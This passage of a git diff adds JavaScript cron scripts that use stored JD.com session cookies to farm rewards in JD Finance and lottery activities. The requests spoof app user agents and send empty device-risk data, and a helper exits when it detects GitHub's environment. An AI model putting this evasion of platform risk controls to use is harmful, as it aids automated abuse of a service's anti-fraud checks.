$.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_daily_egg.js b/jd_daily_egg.js new file mode 100644 index 0000000..df72cc0 --- /dev/null +++ b/jd_daily_egg.js @@ -0,0 +1,247 @@ +/* +Last Modified time: 2020-11-20 14:11:01 +活动入口:京东金融-天天提鹅 +定时收鹅蛋,兑换金币 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#天天提鹅 +10 * * * * jd_daily_egg.js, tag=天天提鹅, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdte.png, enabled=true + +================Loon============== +[Script] +cron "10 * * * *" script-path=jd_daily_egg.js,tag=天天提鹅 + +===============Surge================= +天天提鹅 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_daily_egg.js + +============小火箭========= +天天提鹅 = type=cron,script-path=jd_daily_egg.js, cronexpr="10 * * * *", timeout=3600, enable=true + */ +const $ = new Env('天天提鹅'); +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n***********开始【京东账号${$.index}】${$.nickName || $.UserName}********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdDailyEgg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdDailyEgg() { + await toDailyHome() + await toWithdraw() + await toGoldExchange(); +} +function toGoldExchange() { + return new Promise(async resolve => { + const body = { + "timeSign": 0, + "environment": "jrApp", + "riskDeviceInfo": "{}" + } + $.post(taskUrl('toGoldExchange', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + console.log(`兑换金币:${data.resultData.data.cnumber}`); + console.log(`当前总金币:${data.resultData.data.goldTotal}`); + } else if (data.resultData.code !== '0000') { + console.log(`兑换金币失败:${data.resultData.msg}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function toWithdraw() { + return new Promise(async resolve => { + const body = { + "timeSign": 0, + "environment": "jrApp", + "riskDeviceInfo": "{}" + } + $.post(taskUrl('toWithdraw', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + console.log(`收取鹅蛋:${data.resultData.data.eggTotal}个成功`); + console.log(`当前总鹅蛋数量:${data.resultData.data.userLevelDto.userHaveEggNum}`); + } else if (data.resultData.code !== '0000') { + console.log(`收取鹅蛋失败:${data.resultData.msg}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function toDailyHome() { + return new Promise(async resolve => { + const body = { + "timeSign": 0, + "environment": "jrApp", + "riskDeviceInfo": "{}" + } + $.post(taskUrl('toDailyHome', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body) { + return { + url: `${JD_API_HOST}/${function_id}`, + body: `reqData=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + 'Accept' : `application/json`, + 'Origin' : `https://uua.jr.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie' : cookie, + 'Content-Type' : `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host' : `ms.jr.jd.com`, + 'Connection' : `keep-alive`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer' : `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, + 'Accept-Language' : `zh-cn` + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_daily_lottery.js b/jd_daily_lottery.js new file mode 100644 index 0000000..de408ad --- /dev/null +++ b/jd_daily_lottery.js @@ -0,0 +1,347 @@ +/* +小鸽有礼-每日抽奖 +活动入口:惊喜-》我的-》寄件服务-》寻味四季-》右侧瓜分千万京豆 +author:star +活动时间:2021-04-16至2021-05-17 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#每日抽奖 +13 1,22,23 * * * jd_daily_lottery.js, tag=每日抽奖, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 1,22,23 * * *" script-path=jd_daily_lottery.js, tag=每日抽奖 + +====================Surge================ +每日抽奖 = type=cron,cronexp="13 1,22,23 * * *",wake-system=1,timeout=3600,script-path=jd_daily_lottery.js + +============小火箭========= +每日抽奖 = type=cron,script-path=jd_daily_lottery.js, cronexpr="13 1,22,23 * * *", timeout=3600, enable=true +*/ +const $ = new Env('小鸽有礼-每日抽奖'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const activityCode = '1384416160044290048'; +$.helpCodeList = []; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await dailyLottery() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function dailyLottery() { + $.lotteryInfo = {}; + $.missionList = []; + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + console.log(`初始化`); + if ($.lotteryInfo.success !== true) { + console.log(`${$.UserName}数据异常,执行失败`); + return; + } + if ($.missionList.length === 0) { + console.log(`${$.UserName}获取任务列表失败`); + return; + } + $.runTime = 0; + do { + $.runFlag = false; + await doMission();//做任务 + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + await $.wait(1000); + await collectionTimes();//领任务奖励 + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + await $.wait(1000); + $.runTime++; + } while ($.runFlag && $.runTime < 30); + + let drawNum = $.lotteryInfo.content.drawNum || 0; + console.log(`共有${drawNum}次抽奖机会`); + $.drawNumber = 1; + for (let i = 0; i < drawNum; i++) { + await $.wait(1000); + //执行抽奖 + await lotteryDraw(); + $.drawNumber++; + } +} + + +//做任务 +async function collectionTimes() { + console.log(`开始领任务奖励`); + for (let i = 0; i < $.missionList.length; i++) { + if ($.missionList[i].status === 11) { + let getRewardNos = $.missionList[i].getRewardNos; + for (let j = 0; j < getRewardNos.length; j++) { + await collectionOneMission($.missionList[i].title, getRewardNos[j]);//领奖励 + await $.wait(1000); + } + } + } +} + +//做任务 +async function doMission() { + console.log(`开始执行任务`); + for (let i = 0; i < $.missionList.length; i++) { + if ($.missionList[i].status !== 1) { + continue; + } + await $.wait(1000); + if ($.missionList[i].jumpType === 135 || $.missionList[i].jumpType === 136 || $.missionList[i].jumpType === 137) { + await doOneMission($.missionList[i]); + } else if ($.missionList[i].jumpType === 45 || $.missionList[i].jumpType === 31) { + //await createInvitation($.missionList[i]); + await doOneMission2($.missionList[i]); + } + } +} + +async function doOneMission2(missionInfo) { + const body = 